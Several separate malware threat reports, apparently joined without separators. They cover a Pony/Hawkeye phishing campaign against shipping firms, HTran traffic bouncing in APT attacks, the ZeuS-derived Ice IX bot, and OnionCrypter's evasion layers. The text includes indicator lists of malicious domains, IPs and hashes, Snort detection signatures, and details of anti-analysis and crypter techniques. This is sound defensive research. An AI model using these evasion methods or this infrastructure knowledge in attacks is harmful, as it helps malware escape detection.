leveraging credential-stealing tools such as Pony and Hawkeye, the attackers are able to gain access to personal and corporate email accounts as well as breaching corporate intranets and VPNs. But rather than simply stealing data wholesale and selling it online to the highest bidder, the attackers do something unusual: they manually read through the mail in the compromised email accounts, searching for further targets (both personal and corporate) which they can leverage to infiltrate other companies or siphon money from. The level of detail to which the attackers are privy after accessing corporate email accounts is alarming. Sensitive data including employee records, banking transactions, vehicle or ocean vessel tracking info, and standard intellectual property were all targeted and exfiltrated by this group. There have been multiple ‘waves’ observed in these attacks, primarily spanning from October 2015 to June 2016. With the Pony Loader 2.2 infrastructure in place, the attackers were able to begin the initial stages of attack. This was typically carried out via a standard spear-phish email to individuals in targeted companies. The messages all have invoice, cargo, or shipment inquiry themes, and are sent from registered domains that look very similar to the domains of legitimate companies with whom the target companies typically do business. The spear-phish emails are weaponized with either .BZ or .ACE compressed executables (extracting to either .EXE or .SCR files). Those attachments are Pony or Hawkeye trojans, which are then used to steal even more credentials and data from the targets. Once the cybercriminals have actual legitimate credentials to work with, they send further spear-phish emails to additional targets manually identified from the compromised accounts. Cylance's primary investigative focus with these campaigns has been the wave which started in early April 2016, and (as of this writing) is still ongoing in June 2016. In early April, the attackers set up their main infrastructure via Unlimited Web Hosting out of the UK. Multiple registered domains were immediately used to set up Pony Loader panels and host associated malware. ### Initial Registered Domains - cosmoships-gr.com - equinoxdsitribution.com - etaship-sg.com - fortressict-nl.com - friendshlp-chartering.com - iwenconsultinggroup.com - nevig8group.com - nqvoil-sg.com - octagonainternational.com - pcchand.com - pruship-tw.com - seahorsegroup-in.com - toships.net - tosihps.com - toslhips.com - toslhps.com - vietexcurisons.com - alexbensonship.com The longest running panels (now down as of 6/14/2016) were hosted on nqvoil-sg.com and pcchand.com. Pony C2s were briefly active on friendship-chartering.com, toships.net, and tosihps.com. Both the Pony-hosting domains, and those not hosting Pony were observed sending out weaponized email messages, directing victims to one of the active Pony C2s. Armed with ample sets of credentials, the attackers now have access to an enormous amount of sensitive information. This is perhaps the biggest takeaway of this post. Even if the attackers were only interested in the financial data, of which there is plenty, the potential for financial and physical damage via leveraging other segments of acquired data is alarming. Not only do the cybercriminals have access to critical financial data such as account numbers, transaction IDs, bank routing numbers, SWIFT codes, IBAN codes, and so on, but in this case, the attackers also have direct access to vehicle, shipping, and cargo logistics data. This data ranges from the routes and locations of delivery truck fleets, all the way to routing and cargo of commercial and government marine vessels. ### Malware Used in the Attacks The attackers are utilizing Pony Loader 2.2 almost exclusively for these attacks. There are a few specific targets where Hawkeye and/or Zeus came into play, but most of the focus and benefit comes from Pony. The Pony malware is purpose-built to harvest a prescribed set of credentials and data from the victim’s machine. Pony 2.2 is capable of harvesting RDP, HTTP/HTTP, FTP, SFTP, SMTP, POP3, IMAP as well as bitcoin (including Electrum and Multibit modules). The bitcoin theft modules are relatively new to Pony Loader. That is to say, the functionality related to theft of cryptocurrencies was introduced first in version 2.0 of Pony Loader. The password stealing modules are (in standard Pony fashion) also specific to certain products. The RDP Capture module can be seen below, along with portions of the bitcoin processing modules. Pony Loader stores data in a local MySQL database. This functionality is outlined in database.php on the server hosting the Pony DB. Here we actually see an example of the attacker leaving the MySQL credentials exposed (in the clear) in the server’s config.php. Upon execution, Pony Loader will attempt to identify specific AV products running on the victim's machine, for evasion purposes. In the analyzed examples, the binaries are looking to identify running instances of antivirus products from the following companies: - Bitdefender - Kaspersky - AVG Pony binaries (associated with these campaigns) do not stray from the natively built binaries generated by the Pony Builder, with one exception. Some of the binaries are encrypted with an off-the-shelf Crypter tool called DarkEyE Protector. In one example we looked at, the license for DarkEyE Protector is bound to / associated with the email address [email protected] (visible as artifact embedded in the malware binary). That same email address is associated with the hosting of the Pony C2 domains. ### Attribution There are many aspects that point to Nigeria above and beyond the by-the-book modus operandi outlined in both this write-up and some of the past efforts previously referenced. We also observed that most of the logins to the various Pony admin panels were tagged as being in Nigeria. We also see consistent reuse of user names and passwords that reference Nigerian culture. These accounts appear consistently among the compromised accounts as well within the actual administrative credentials to Pony admin panels. For example, one particular actor uses several variations of “waxxy” which is a reference to the popular Nigerian DJ known as DJ Waxxy. We also see several recurring uses of “chukwuka123” and “chukwuka”. “chukwuka” is a reference to the popular Nigerian actress Chioma Chukwuka. The term “chukwuka” is more frequently used as the password to some of the Pony admin panels, but appears as a modified password for compromised accounts as well. Going back to the specific attribution side, we can do a little more digging around these terms to find OSINT pointing to specific individuals acting as part of this cybercrime group. One particular username and associated email account pops up far more frequently than others. The “onyeb4real” user name is frequently observed setting up dummy/burner email accounts and using them to send out either weaponized messages or text-only social engineering lures in attempts to lure victims into either running malicious code or visiting sites hosting malicious code. ### The Test – CylancePROTECT vs. Pony Loader & Hawkeye All of these compromises require that a Pony or Hawkeye binary be executed on the target host. It is therefore critical that any protective or preventative controls on the hosts completely prevent that binary from being executed. Now that we see how much sensitive information a small group of cybercriminals can get access to using simple stolen email credentials, we can understand how vital it is to prevent this simple theft from happening. Unfortunately, that is not always possible with traditional, signature-based technologies running on the endpoint. It is important to point out that some of the samples we analyzed were not publicly available at the time of analysis. That is to say, there were not available on any of the popular, multi-engine, scanning and analysis services which many legacy antivirus technologies and vendors rely on. Having to rely on third-party services or quickly outdated signatures is not an option if you wish to prevent these kinds of attacks from occurring. Cylance tested over 30 samples associated with these attacks using our AI-based endpoint protection solution CylancePROTECT. CylancePROTECT stopped all of them cold, pre-execution. End of story. ### Appendix – IOCs **SHA256 Hashes** - 9ece0cad4cbfe0cf2524880461d62419ed2dcc5f6531c4f4d0b88b16a8a29890 - 0f8995f8ece4ec14d6ad1745ec11987a02585c0e83ffa8f5c752331a16e0a02f - 7009bde544c8cae66301899cd15963698fe78abf31d11b32a0e38028f3472fb9 - 6d53538d71e655b22a64e41dd986789fb0f81a0cec528fcfb9c7eff770f64363 - 1b7f600c8dbe9683e2e092e12ce6fc9a296e341c4106acfdb9fbf48c018b1fbe - d6093f98bb65a669487eb1e41f550a4cd7b0a8c30fa2a9f050eb3bb43d69e1be - 35194eb171953f2df033a8941053c1f96b74a9d926ba8f991299956cf5243fe9 - 924fadc931ce2dd5f0b2a83e470ff7ef4ab30ccd17f99dad67103fca2dd5f2b4 - 7de63c48f9b5caba8855012875937a515b2a6821f230bc291884bc37bc92a62f - d49251a4909f51bac8981fde55696746572f38d463d2fb3fdfe8d7dfff973ff6 - de64c7ff454cbb648091f6779eaf2351ddcb25e68087eb8853ac83848598315e - 97f25bb70111fe56d3a6b788fc5a0160923fe82ec875305c10541bcff455d5d7 - eb3808f586de4cadf98a9a08f303d07de63cdfd8e709181139627c15ff5bab5f - e613e0390fdbfd04d475747d84f966440f9a52a4d49170e5d35ed141bd849fb1 - d70aab7549551161df985fe4bea9c00081816c529682f8e01673ca37cff73468 - 276286c21c93060701b4fd844be7af10b85671e90622e777ebeeeca6e44265b0 - d35faedfa36e5ce25f5918e0fe4b536109d9ee49c95da7403c976189c3bcf950 - b3062e772925653a6a1c52b7690854f8f26216e78ee836db295aa4c007144bea - befceb428a4f678731b368e00431d5c15e3522c03748e1980db559988c074837 - f26a26ccdb91b4bd26406146858477556a5c734a0f276360d2b07fbd697f693d - 495b2d3102de768ca3a8c428788777b254ff01023058bca1a1b3f19c9958564b - a7d9cd02734a49e30dfdff4d37e878831717afd9aaa0bbf04814980aea7bb65b - 4c10dd2c7477ffa1921a3c646fd728a8f96210c8a984d6d4d4016ca9cf13db20 - 97c78d5ec6ca8b0b9af2038cb42d6d5c8c560ee11bbf7ba939f916f62b0d0f38 - 812284a88b8fe2b9af802aeb43d928e18443335fa4a83a62565224ff5e7bcccd - a4f362f3282a1988824fb4fcdf1faa40bb86e7c41ae813ad383753d33c6c5fc2 - dd68390cba23f0a740e9cb2c44963c03ea38eb44067447a757fffd4c7a0d214d - 3b8f1e963da628ebe6308fbdbbed378593242c5c9eaff9ee68e5c42f8277e608 **Domains** - cosmoships-gr.com - etaship-sg.com - prisheimpex.com - toships.net - seahorsegroup-in.com - viatexcursions.com - iwenconsultinggroup.com - nevig8group.com - vsuil.com - rightltd-gr.com - vrmeritime.com - transegrldmcc.com - vietexcurisons.com - vietaxcursions.com - toslhps.com - pcchand.com - arcadieshipping.com - tosihps.com - pruship-tw.com - friendshlp-chartering.com - toslhips.com - alexbensonship.com **IP Addresses** - 149.255.58.2 - 149.255.58.4 - 149.255.62.53 - 149.255.62.54 Tags: Nigerian Scams, Hawkeye, Pony, Pony Loader
# HTran and the Advanced Persistent Threat While researching one of the malware families involved in the RSA breach disclosed in March 2011, Dell SecureWorks CTU observed an interesting pattern in the network traffic of a related sample (MD5: 53ba6845f57f8e9ef600ef166be3be14). When the sample under analysis attempted to connect to the C2 server at my.amazingrm.com (203.92.45.2), the server returned a succinct plain-text error message instead of the expected HTTP-formatted response: `[SERVER] connection to funn` Although the message was seemingly truncated, this pattern was enough to correlate the error string to a known (and fairly old) program called "HUC Packet Transmit Tool", or "HTran", for which source code can be readily found on the Internet. HTran is a rudimentary connection bouncer, designed to redirect TCP traffic destined for one host to an alternate host. The source code copyright notice indicates that HTran was authored by "lion", a well-known Chinese hacker and member of "HUC", the Honker Union of China. The purpose of this type of tool is to disguise either the true source or destination of Internet traffic in the course of hacking activity. HTran contains several debugging messages throughout the source code that are sent to the console or to the connecting client in order to diagnose connection issues. The part of the HTran source code that generated the error message seen in the trojan C2 response is shown below: ```c if(client_connect(sockfd2, host, port2) == 0) { closesocket(sockfd2); sprintf(buffer, "[SERVER] connection to %s:%d error\r\n", host, port2); send(sockfd1, buffer, strlen(buffer), 0); } ``` The code is written so that if the connection bouncer is unable to connect to the hidden destination in order to relay the incoming traffic, the formatted error message containing the target host and port parameters will be sent to the connecting client. As long as there are no connection issues, HTran might be a useful tool to hide a trojan C2's true location - but, in the case of any connection downtime between the HTran host and the hidden C2, HTran will betray the location of the hidden C2 host. Instances of HTran on multiple hosts could theoretically be chained together in order to add extra layers of obfuscation. However, in case of the final endpoint C2 being unavailable for any reason, the last link in the HTran chain will still pass its connection failure message up the chain, rendering all of the other layers of obfuscation useless. This tiny bit of error debugging code left in by the author can be quite useful if one wants to track HTran-bounced hacking activity to its source. ## HTran Survey Armed with the knowledge of HTran's transient error message formatting, Dell SecureWorks CTU was able to locate TCP packet captures containing HTran connection errors in response to traffic from other APT-related malware that had been previously executed in our sandnet. The following Snort signatures can be used by other organizations to search for HTran connection error messages in transit on their networks: ```plaintext alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"HTran Connection Redirect Failure Message"; flow:established, from_server; dsize:<80; content:"|5b|SERVER|5d|connection|20|to|20|"; depth:22; reference:url,www.secureworks.com/research/threats/htran/; sid:1111111111;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"HTran Connection Redirect Failure Message (Unicode)"; flow:established, from_server; dsize:<160; content:"|5b00|S|00|E|00|R|00|V|00|E|00|R|005d00|c|00|o|00|n|00|n|00|e|00|c|00|t|00|i|00|o|00|n|002000|t|00|o|002000|"; depth:44; reference:url,www.secureworks.com/research/threats/htran/; sid:1111111112;) ``` In addition to locating historical packet captures containing evidence of HTran connection failures, Dell SecureWorks CTU implemented a scanning system which checks for the HTran error message in responses from active probing of more than a thousand IP addresses known to be associated with APT trojan activity currently or in the past. The results of this survey can be seen in the following table: | Malware C2 | Associated Hostnames | Host-Related Malware Hashes | Hidden Destination | |---------------------------|----------------------------------------------|------------------------------------------------|-----------------------------| | 12.38.236.41:443 | epod.businessconsults.net | 3493fc0e4a76b9d12b68afc46cab7f34 | 112.65.87.58:443 | | | info.businessconsults.net | fd4a4ac08f5a7271fbd9b8157d30244e | 58.247.25.108:443 | | | pop.businessconsults.net | 51744d77fc8f874934d2715656e1a2df | | | | ssa.businessconsults.net | | | | | sys.businessconsults.net | | | | | bbs.india-videoer.com | | | | 173.244.209.196:443 | itiupdated.dyndns.info | 1daa3e392d1fea79badfbcd86d765d321 | 123.120.102.251:443 | | | news.india-videoer.com | 855cea7939936e86016a0aedee1d2c24 | 123.120.106.136:8080 | | 204.45.228.140:80 | create301.dyndns.info | 00b9619613bc82f5fe117c2ca394a328 | 123.120.117.98:9000 | | 204.45.228.140:443 | | | 123.120.126.73:8080 | | | | | 123.120.127.146:9000 | | | leets.hugesoft.org | | | | | rouji.freespirit.acmetoy.com | | | | | slnoa.newsonet.net | | | | 207.225.36.69:443 | sos.businessconsults.net | cca75af9786d7364866f40b80dddcc5c | 58.247.240.91:80 | | | trb.arrowservice.net | | | | | ug-aa.hugesoft.org | | | | | www.optimizon.com | | 223.167.5.10:8000 | | 212.125.200.197:443 | inter.earthsolution.org | 3a3bf6cab9702d0835e8425f4e9d7a9c | 223.167.5.250:8000 | | | quick.earthsolution.org | | 223.167.5.254:8000 | | | bah001.blackcake.net | | | | | caci2.infosupports.com | | | | | doa.bigdepression.net | | | | | lucy2.businessconsults.net | | | | | lucy2.infosupports.com | | | | | lucy.blackcake.net | | | | | lucy.businessconsults.net | | | | | mantech.blackcake.net | 03557c3e5c87e6a121c58f664b0ebf18 | 112.64.214.174:443 | | | qiao1.bigdepression.net | bbf4212f979c32eb6bc43bd8ba5996f9 | | | | qiao2.bigdepression.net | | | | | qiao3.bigdepression.net | | | | | qiao4.bigdepression.net | | | | | qiao5.bigdepression.net | | | | | qiao6.bigdepression.net | | | | | sports.businessconsults.net | | | | | srs.infosupports.com | | | | 220.110.70.51:443 | nsweb.hostent.org | c9067c06bb9e8a5304b93687c59e4e15 | 125.215.189.114:40781 | | | argentinia.faqserv.com | | | | | epaserver.toythieves.com | | | | | mailserver.instanthq.com | | | | | mailserver.sendsmtp.com | | | | | moiserver.myftp.info | | | | | mosfdns.ddns.ms | | | | 60.249.150.162:443 | office.lflink.com | | 121.229.201.158:10009 | | | san.www1.biz | | 121.229.201.238:10009 | | | seoulsummit.ddns.ms | | | | | songs.longmusic.com | | | | | sysinfo.mynumber.org | | | | | timeforbeat.ns01.us | | | | | www.cpear.ddns.us | | | | | yahoo2.epac.to | | | | | aar.bigdepression.net | | | | | conn.gxdet.com | | | | | db.billten.net | | | | | ddbb.gxdet.com | | | | | info.billten.net | | | | | info.dcfrr.com | | | | | info.helpngr.net | | | | | info.new-soho.com | 056310138cb5ed295f0df17ac591173d | | | 64.255.101.100 | info.scitence.net | 45a66ae3537488f7d63622ded64461e0 | 112.64.213.249:443 | | | mail.new-soho.com | 92e28cec1c82f5d82cbd80c64050c5ca | | | | mailsrv.scitence.net | ec4d34c742d2d5714c600517f05c2253 | | | | news.billten.net | | | | | news.scitence.net | | | | | pop.dnsweb.org | | | | | techniq.whandjg.net | | | | | webmail.dcfrr.com | | | | | webmail.whandjg.net | | | | | gee.safalife.com | | | | | ghma.earthsolution.org | | | | | hav.earthsolution.org | | | | | java.earthsolution.org | 3a3bf6cab9702d0835e8425f4e9d7a9c | | | 68.96.31.136 | quiet.earthsolution.org | 7cb055ac3acbf53e07e20b65ec9126a1 | 223.167.5.10:8000 | | | special.earthsolution.org | | | | | visual.earthsolution.org | | | | | vop.earthsolution.org | | | | | vope.purpledaily.com | | | | | catalog.earthsolution.org | | | | | ou2.infosupports.com | | | | | ou3.infosupports.com | | | | 72.167.34.54:443 | ou7.infosupports.com | 47a76cf2e60960405a492bc7f41b0483 | 58.247.27.232:443 | | | www2.wikaba.com | | | | | yang1.infosupports.com | | | | | yang2.infosupports.com | | | The hostnames in the table were gathered using passive DNS records showing that at one point in time they pointed to the IP address in question. The hostnames may currently be pointed at different IP addresses than shown, as they are rotated frequently. The domains involved are all known to be connected to a variety of different Advanced Persistent Threat (APT) trojans. In cases where a related sample has been analyzed by Dell SecureWorks CTU, the MD5 hash of the sample is provided. The survey of HTran traffic shows a clear pattern that can be seen by analyzing the Autonomous System Number (ASN) owner of each hidden IP address: | ASN | IP Address | Owner | |-------|---------------------|------------------------------------------------| | 17621 | 112.64.213.249 | CNCGROUP-SH China Unicom Shanghai network | | 17621 | 112.64.214.174 | CNCGROUP-SH China Unicom Shanghai network | | 17621 | 112.65.87.58 | CNCGROUP-SH China Unicom Shanghai network | | 4134 | 121.229.201.158 | CHINANET-BACKBONE No.31, Jin-rong Street | | 4134 | 121.229.201.238 | CHINANET-BACKBONE No.31, Jin-rong Street | | 4808 | 123.120.106.136 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network | | 4808 | 123.120.117.98 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network | | 4808 | 123.120.126.73 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network | | 4808 | 123.120.127.146 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network | | 4515 | 125.215.189.114 | ERX-STAR PCCW IMSBiz | | 60055 | 223.167.5.10 | CNCGROUP-SH China Unicom Shanghai network | | 60055 | 223.167.5.250 | CNCGROUP-SH China Unicom Shanghai network | | 60055 | 223.167.5.254 | CNCGROUP-SH China Unicom Shanghai network | | 17621 | 58.247.240.91 | CNCGROUP-SH China Unicom Shanghai network | | 17621 | 58.247.25.108 | CNCGROUP-SH China Unicom Shanghai network | | 17621 | 58.247.27.232 | CNCGROUP-SH China Unicom Shanghai network | Every hidden IP address observed in the HTran error messages captured during our survey is located on just a few different networks in the People's Republic of China (PRC). In almost every case, the observable C2 is in a different country, most likely the same country in which the victim institution is located. It's not surprising that hackers using a Chinese hacking tool might be operating from IP addresses in the PRC. Most of the Chinese destination IPs belong to large ISPs, making further attribution of the hacking activity difficult or impossible without the cooperation of the PRC government. ## Conclusion Over the past ten years, we have seen dozens of families of trojans that have been implicated in the theft of documents, email, and computer source code from governments, industry, and activists. Typically when hacking or malware traffic is reported on the Internet, the location of the source IP is not a reliable indicator of the true origin of the activity, due to the wide variety of programs designed to tunnel IP traffic through other computers. However, occasionally we get a chance to peek behind the curtain, either by advanced analysis of the traffic and/or its contents, or due to simple programmer/user error. This is one of those cases where we were lucky enough to observe a transient event that showed a deliberate attempt to hide the true origin of an APT. This particular hole in the operational security of a certain group of APT actors may soon be closed; however, it is impossible for them to erase the evidence gathered before that time. It is our hope that every institution potentially impacted by APT activity will make haste to search out signs of this activity for themselves before the window of opportunity closes.
# Ice IX: Not Cool at All **Authors** Dmitry Tarakanov My colleague Jorge Mieres recently found a C&C server of a botnet based on a malicious program called Ice IX. As announced on several user forums, Ice IX is a bot created using the source code of ZeuS 2.0.8.9, which became publicly available in May. The author of the new bot says the program includes substantial enhancements, which should be interesting to those cybercriminals who steal money from users with the help of banking Trojans. As you can see in the screenshot, the description of the new program focuses on the enhancements allegedly introduced into the ZeuS original code. These included bypassing firewalls, bypassing proactive protection provided by security products, and protection from detection by trackers. The latter obviously refers to the ZeuS Tracker, which has been making cybercriminals’ life difficult. The program’s author charged $600 for a version of the bot with a hardwired URL that the bot must connect to after infection (i.e., the C&C address), and $1800 for a version without a hard-coded C&C address. Unfortunately, we were unable to obtain a sample of the enhanced Ice IX version – possibly because nobody had purchased it. Most likely, this version included a mechanism that was similar to that implemented in ZeuS beginning with version 2.1. Here is how it worked in ZeuS: the bot included a key that was used in combination with the current date to generate 1020 domain names each day. The bot searched through this entire list, trying to find its C&C server. At the same time, someone has apparently tested the base version of the bot kit. These samples were analyzed for differences from the original ZeuS samples used as the basis for the Ice IX bot. I must confess, I had expected more. The author advertised the programs as something special, and in addition, there was a comment in the thread that the author deserved credit for bypassing proactive detection, since it was an important improvement, concluding that this was no doubt a completely new bot, much better than ZeuS. In fact, however, it was all a bunch of lies. There were no major improvements compared to ZeuS 2.0.8.9 – the version which became publicly available. Here are the differences I was able to identify: 1. ZeuS can find the user’s email credentials saved on the infected system. The bot sends any data found to the botnet operator, giving the cybercriminal access to the victim’s mailboxes. However, the code section responsible for finding and processing email credentials was commented out in the original ZeuS source code. The author of Ice IX simply removed the comment marks from this code, so the modules that were not included in ZeuS 2.0.8.9 samples were present in his bot. 2. The ZeuS 2.0.8.9 bot can be launched with the following arguments: -f, -n, -v, -i. I won’t go into the discussion of what each of them means. Let me just mention the key –i: if ZeuS 2.0.8.9 sample is launched with this key, a window with some information about the bot will be displayed. The author of Ice IX simply removed the fragment processing this key from the code. Consequently, Ice IX sample does not support this argument. 3. A modified function that is associated with reading data from the registry has been identified. There is a small chance that this could prove that “enhancement” introduced in order to bypass proactive protection provided by security products. However, it could also be merely the consequence of compiler optimization – the result of compiling the bot’s code might have been slightly different from that for the original ZeuS code due to the changes, albeit small, introduced into Ice IX. In the ZeuS 2.0.8.9 code, the function that reads data from the registry includes all the API functions required for this task, i.e., RegOpenKeyEx, RegQueryValueEx and RegCloseKey. When a value needed to be read from the registry, it was done as follows: In the Ice IX sample, there are some changes in the places where the function is called. The API function RegOpenKeyEx was removed from the function that reads registry data. As a result, whenever a value needed to be read from the registry, the API function RegOpenKeyEx was called first to open the registry key (e.g., HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE) before calling the actual registry read function. I admit that some antivirus products may possibly detect ZeuS based on the presence of the above registry read function. It is quite probable that this essential function is present in all ZeuS samples regardless of version; it is also possible that its code uniquely identifies this entire malware family. Why not, after all? In this case, modifying this function (e.g., removing RegOpenKeyEx) would help to prevent the detection which depends on it. I didn’t test all antivirus products on Ice IX samples, so I cannot say whether any product would fail to detect them because of this change. I only scanned the sample with KIS 2012 using old antivirus databases dating back to June, when nothing was known as yet about Ice IX. As the bot was running, KIS 2012 detected dangerous activity and blocked the program’s execution. No wonder: given the long history and extensive functionality of ZeuS, there are quite a few criteria based on which KIS/KAV can detect this malware family’s malicious code. Now, let’s move on to the significant changes that distinguish Ice IX from ZeuS 2.0.8.9 at least to some extent. 4. In the ZeuS configuration file, there is a section called “Web Filters” in which the botnet operator defines how the bot should respond when the user visits certain websites. This is done using special characters “!”, “@”, “-“, “^”. Let’s look at the way in which the “@” character is used. It is placed before the URL (e.g., @*/login.osmp.ru/*) to tell the bot to make screenshots when the user visits any addresses matching the mask specified every time that the user left-clicks the mouse, and then to send the screenshots to the cybercriminal. This is a mechanism that allows the cybercriminal to reconstruct the data entered by the user on the website using the virtual keyboard. Other symbols also define specific actions to be performed by the bot. All that the author of Ice IX did was to assign different characters to the same functions: the letters “N”, “S”, “C” and “B” have replaced “!”, “@”, “-” and “^”, respectively. 5. The last distinguishing feature is a slightly modified method used by the bot to download the configuration file. In its code, ZeuS includes a hard-coded URL of a configuration file that anyone can download, e.g., http://www.example.com/files/config.bin. The author of Ice IX makes the point that it is this availability of configuration files that is at the root of all problems with trackers. So how does he address this issue? Here is his solution. You can no longer simply download the configuration file from a URL. Instead, you must send a specially formed POST request to a certain address (which is actually a URL hardcoded into the bot in the same location as in ZeuS 2.0.8.9). The request must include a pair of parameters: “id=&hash=”, for example: id=TEST_WIN_XP_B5DF77116522DF69&hash=DC0D2CAB39D49FC3D5E467501A2682C5. The identifier is the computer’s name with a unique 16-digit hexadecimal number added to it. From the C&C viewpoint, both the computer name and the 16-digit number can be arbitrary. This identifier is encrypted using the RC4 algorithm (which ZeuS uses all the time to encrypt data) in combination with an S-box that is also hardcoded into the bot. The MD5 checksum is calculated for the encrypted data and sent as a hash variable. Since the bot identifier can be arbitrary (at the most it needs to meet the COMPUTERNAME_16CHARSHEXNUMBER format), the only data needed to obtain the configuration file is the S-box – it is needed to encrypt the bot identifier. But wait a minute. The configuration file is also encrypted using the same RC4 algorithm with the same S-box. Without the S-box, the configuration file is useless, a meaningless sequence of bytes. The really valuable stuff is inside the file. So in the end it all comes down to this: | Bot | What is needed to obtain useful data from the configuration file | |-------|---------------------------------------------------------------| | Ice IX| S-box | | ZeuS | S-box | The question is: what is it that is supposed to make trackers’ life more difficult? And the obvious answer is “virtually nothing”. It might perhaps take an extra half hour to run a sample, make a dump, and identify the changes made to known code. And that only is one is going to do the analysis and mass-download different bots’ configuration files. However, there is an easier way: getting the parameters of the POST request from an infected computer’s traffic, which is a matter of a few minutes. With all the hype, you wouldn’t believe it! There is a saying about sports that can be applied to this situation: It takes one athlete with a 9-meter jump to win the Olympics not 9 athletes with 1-meter jumps. Same here: it doesn’t matter how many times and on how many values are encrypted using the same algorithm and the same key – with the same source data, more iterations of encryption will not result in a significantly stronger encryption algorithm. But apparently, this is not what the cybercriminal was after, and this entire business is fraud, plain and simple. Somebody decided to make some easy money by selling supposedly enhanced malware with functionality that is already publicly available.
# Hidden Menace: Peeling Back the Secrets of OnionCrypter **by Jakub Kaloč** **March 17, 2021** **20 min read** One of the goals of malware authors is to keep their creation undetected by antivirus software. One possible solution for this is crypters. A crypter encrypts a program, so it looks like meaningless data and creates an envelope for this encrypted program, also called a stub. This stub looks like an innocent program; it may also perform some tasks that are not harmful at all, but its primary task is to decrypt a payload and run it. The crypter discussed in this blog post uses a combination of multiple interesting techniques that make it hard for analysts and for proper detection. One of the key techniques this crypter uses is multiple layers of encryption. Because of this, we are calling it “OnionCrypter.” It’s important to note that the name reflects the many layers this crypter uses; it’s in no way related to the TOR browser or network. This blog post covers most of the techniques OnionCrypter used to complicate analysis and breaks down its structure. This can help malware analysts because seeing samples like these might get confusing and overwhelming at first, not only for humans but also for dynamic analysis sandboxes. Most interestingly, we have found that OnionCrypter has been used by over 30 different malware families since 2016. This includes some of the best-known and most prevalent families such as Ursnif, Lokibot, Zeus, AgentTesla, and Smokeloader, among others. In the last three years, we have protected almost 400,000 users around the world from malware protected by this crypter. Its widespread use and length of time in use make it a key malware infrastructure component. We believe that likely the authors of OnionCrypter offer it as an encrypting service. Based on the uniqueness of the first layer, it is also safe to assume that the authors of OnionCrypter offer the option of a unique stub file to ensure that encrypted malware will be undetectable. A service like this is frequently advertised as a FUD (fully undetectable) crypter. OnionCrypter forms a malware family on its own, even though it is used to protect malware from many different families. OnionCrypter has been around for several years, so it is not something entirely new. However, it is interesting that because of the multiple layers and uniqueness of the first layer, nobody was detecting this crypter as one malware family. After downloading thousands of samples of this crypter from VirusTotal, we were able to confirm that most of the detections from all AVs are based on detecting what’s encrypted inside this crypter. Even when AVs are recognizing the samples as a crypter with some other malware packed inside, they are detecting the samples as tens of different malware families. ## Statistics With the data from more than 15,000 samples (where the oldest samples date back to 2016), it was possible to create a statistic on malware families that are using this crypter. The chart below shows that OnionCrypter is used by multiple malware authors. ### Occurrence of Malware Families in Samples With the same data, it was possible to create graphical insight on the prevalence of the crypter during its existence. ### Prevalence of the OnionCrypter This data can be further interpreted. The peaks suggest that in that time period there could have emerged a new malware campaign that was using services of the OnionCrypter and was spreading widely through the world. After a closer look at the highest peak and identification of malware families inside the OnionCrypter encrypted samples, it was possible to confirm that this peak corresponds to the spread of the BetaBot malware family, a family that spreads ransomware and other malware, during the summer of 2019. ## Analysis OnionCrypter is 32-bit software written in C++. The architecture of OnionCrypter consists of three layers. Each layer will be discussed in a separate section along with techniques that can be found there. ### Layer 1 This is the outer layer of OnionCrypter. Even though the first layer includes usually at least a few hundred functions, there is always one long function (let’s call it the main function) with a lot of junk code, but it also includes the following functionalities which are important parts of OnionCrypter: - Creation of a named event object - Allocation of memory - Load data to memory - Decrypt the loaded data - Pass execution to decrypted data The easiest way to find this function is to check cross-references to the CreateEventA API function. #### Uniqueness After finding this main function in multiple samples, there is the first obstacle – uniqueness. Each one of the analyzed samples had a unique main function. Differences vary between big ones, like completely different API function calls in the junk part of code, or small ones, like those that use different registers and local variables in a cycle that seem the same. As a consequence, the creation of static rules for detection gets quite complicated if someone wants to cover the majority of samples. After seeing some samples, it is possible to quite easily estimate which function is the main function. The main function is always quite long because of junk code and often because of loop unrolling. It may happen that memory allocation or decryption happens in a small part of code between unrolled iterations of loops full of junk code. In many cases, one or more sleep calls (sleep function from synchapi.h) are included in the junk code. These sleep calls, along with loops that have many iterations, can increase execution time by a few minutes. This can cause some simple dynamic analysis sandboxes to fail. Even when a sandbox is able to detect the final payload and scan it with Yara rules, it is often necessary to increase timeouts to 3 or more minutes. #### UPX Impostors One of the most common packers is the UPX packer, which can compress programs and also hide their original code. A few samples have the first layer modified to look like they are UPX packed even when they are not. At first glance, it is possible to see that the sample has sections exactly like UPX; even when you analyze the sample with tools like “Detect It Easy,” the tool will incorrectly tell you that the sample is UPX packed. This can lead to the confusion of an inexperienced analyst, but what is even worse, it can confuse analytical tools. There are multiple tools for automatic and static unpacking of UPX packed programs and for extraction of original code for further analysis. When a tool like this unpacks an UPX impostor sample, the result will be random corrupted data. On data like this, any static detection will not be possible, and a corrupted sample won’t run in dynamic analytical boxes. #### Exceptions The majority of samples raise exceptions during debugging. In most cases, it happens at the beginning of the main function. Dealing with these exceptions can slow down manual analysis and definitely make dynamic analysis more difficult. It’s a good idea to identify the place where exceptions are raised because even if some samples are throwing only a few exceptions, others do it in a loop, and passing them one by one may be too time-consuming. The most common exceptions which could appear are: - Microsoft C++ exception with code 0xE06D7363: This exception is usually thrown by some exotic functions used in junk code. Some of the functions causing this exception are: - SCardEstablishContext - SCardConnectA - SCardTransmit - Instruction referenced memory at XYZ. Memory could not be read. Exception code 0xC0000005 - Unknown exception code 0x6EF from function GetServiceDisplayNameA We have also found that OnionCrypter combines functions that throw exceptions with the data about the position of the mouse cursor. OnionCrypter uses a loop where it finds out the cursor position (X and Y coordinates) using the function GetCursorPos and compares it with the position values from the previous iteration of the loop. If the X or Y coordinate didn’t change, the program calls more functions that throw the exceptions, waits for a few seconds, and starts the next iteration of the loop. It is expected from a normal user that they will move their mouse during this timeframe, but it is not expected from a sandbox or analyst who is pressing the F9 key repeatedly to pass the throwing exception part of the program. Because of that, we believe that throwing the exceptions is an anti-debug trick to make the manual work of analysts harder. #### Named Event Object OnionCrypter uses named event objects, which are hardcoded into the code and created in the main function to avoid multiple executions of the payload. This feature is important for the malware hidden inside because many times multiple simultaneous executions of particular malware on one device can cause some unexpected or unwanted behavior (e.g., there is no need to run the same ransomware twice on one device). After deeper analysis, it was possible to connect multiple event objects to this particular software. To facilitate the extraction of new names of 